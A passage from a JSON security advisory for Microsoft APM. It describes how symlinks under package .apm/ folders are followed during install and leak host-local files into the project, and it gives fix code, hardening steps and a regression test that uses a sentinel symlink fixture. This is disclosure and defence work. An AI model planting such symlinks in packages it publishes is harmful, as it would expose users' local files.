self.find_files_by_glob(package_path, \"*.agent.md\")\n    files += self.find_files_by_glob(package_path, \"*.chatmode.md\")\n    files += self.find_files_by_glob(\n        package_path, \"*.agent.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.chatmode.md\", subdirs=[\".apm/chatmodes\"]\n    )\n    return files\n```\n\n### Optional defense in depth\n\n- In `copy_prompt`, `copy_agent`, `_write_codex_agent`, and `_write_windsurf_agent_skill`, explicitly raise on `source.is_symlink()` before reading.\n- Treat any symlink under a dependency\u0027s `.apm/` tree as a security finding during scanning.\n\n## Regression test idea\n\nAdd unit tests that create a fixture package with symlinks under `.apm/prompts/`, `.apm/agents/`, and `.apm/chatmodes/`, then assert that the symlink entries are filtered out before any read occurs.\n\nExample shape:\n\n```python\ndef test_symlink_under_apm_prompts_is_rejected(tmp_path):\n    pkg = tmp_path / \"pkg\"\n    (pkg / \".apm/prompts\").mkdir(parents=True)\n\n    sentinel = tmp_path / \"sentinel.txt\"\n    sentinel.write_text(\"REGRESSION-SENTINEL\")\n\n    (pkg / \".apm/prompts/leak.prompt.md\").symlink_to(sentinel)\n\n    result = PromptIntegrator().find_prompt_files(pkg)\n\n    assert all(not p.is_symlink() for p in result)\n    assert not any(p.name == \"leak.prompt.md\" for p in result)\n```\n\nA second test should mirror the same pattern for `AgentIntegrator.find_agent_files()`.",
  "id": "GHSA-q5pp-gvjg-h7v4",
  "modified": "2026-05-18T13:26:06Z",
  "published": "2026-05-18T13:26:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/security/advisories/GHSA-q5pp-gvjg-h7v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/commit/f85b9f54ad303159f9c448268eb7005c319fe02a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/apm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree"
}